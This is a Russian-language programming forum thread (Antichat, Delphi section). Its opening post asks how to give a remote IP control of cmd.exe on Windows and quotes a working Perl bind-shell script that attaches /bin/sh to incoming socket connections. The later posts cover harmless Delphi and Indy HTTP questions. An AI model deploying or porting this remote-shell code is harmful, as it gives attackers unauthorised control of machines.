01.05.2010, 00:28
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами:
10018169
Репутация:
1680
|
|
Возможно ли в Delphi забиндить cmd.exe для NetCat (nc.exe) ?
То есть создать сокет, который приконнектится к IP адресу и порту и передаст управление консоли этому IP адресу.
К примеру на перле под Unix бекконнект с привязкой консоли выглядит вот таким небольшим кодом:
Код:
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
accept(CONN,S);
if(!($pid=fork)) {
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}
Таким образом перенаправляя управление локального bin/sh удалённому IP адресу.
Может у кого есть мысли или примерный код как такое реализовать на делфи под винду?
Я к сожалению не улавливаю алгоритм как он это делает. Перл не знаю... только в теории кажется соединиться с портом, принять от него команду, запустить консоль winehec(‘cmd.exe /c -принятое сообщение от айпи’); нее, видимо так не катит, ибо полноценного соединения тут не будет, только приём\ответ. А пример на перле именно привязывает полностью консоль.
Буду очень рад если кто нибудь поможет с кодом, или скажет в каком направлении копать. |
|
|
01.05.2010, 01:32
|
|
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
С нами:
9637731
Репутация:
106
|
|
[STH]
Код:
var
Form1: TForm1;
a:integer;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
c:string;
s:string;
begin
a:=a+1;
s:='BCDEFGHIKLMNOPQRSTUVXYZ';
c:=copy(s,a,1);
if Edit1.Text='' then
Edit1.Text:='A'
else
Edit1.Text:=Edit1.Text+c;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
a:=-1;
end;
end.
|
|
|
|
01.05.2010, 03:07
|
|
Новичок
Регистрация: 08.12.2009
Сообщений: 27
С нами:
8644292
Репутация:
5
|
|
Vlad3d, спс...забыл что можно заюзать копи))
|
|
|
|
01.05.2010, 14:06
|
|
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами:
8668804
Репутация:
29
|
|
здравствуйте!
задача такая:
делаю get запрос, через инди, на сайт.
там проверяются данные, и если они правельные меня редиректит.
Возможно ли узнать на какой урл меня перебросило?
|
|
|
|
01.05.2010, 14:10
|
|
Участник форума
Регистрация: 23.07.2009
Сообщений: 261
С нами:
8843557
Репутация:
539
|
|
idhttp1.Response.Location
|
|
|
|
01.05.2010, 14:15
|
|
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами:
8668804
Репутация:
29
|
|
Сообщение от HakaR
idhttp1.Response.Location
пусто там
|
|
|
|
01.05.2010, 15:25
|
|
Участник форума
Регистрация: 23.07.2009
Сообщений: 261
С нами:
8843557
Репутация:
539
|
|
Сообщение от TrueBit
пусто там
handleredirects := true ?
|
|
|
|
01.05.2010, 15:38
|
|
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами:
8668804
Репутация:
29
|
|
Сообщение от HakaR
handleredirects := true ?
да
|
|
|
|
02.05.2010, 02:18
|
|
Новичок
Регистрация: 25.05.2009
Сообщений: 15
С нами:
8927727
Репутация:
6
|
|
Сообщение от TrueBit
пусто там
idhttp1.Response.Location возвращает урл, на который редиректит вроде только если у тебя стоит redirectMaximum = 0
Попробуй IdHTTP1.URL.GetPathAndParams, если будет просто 1 слеш то ты на главной.
|
|
|
|
02.05.2010, 17:09
|
|
Познающий
Регистрация: 27.11.2008
Сообщений: 60
С нами:
9185881
Репутация:
41
|
|
ПРИВЕТ, ДРУЗЬЯ!)
КТО НИБУДЬ может помочь с решением курсовой??????????
(всего две задачи, думаю у вас они не вызовут затруднений, 1 курс)
[PASCAL]
|
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [STH]](/avatars/avatar106689.png?7){kind=avatar}
Похожие темы
Комбинированный вид
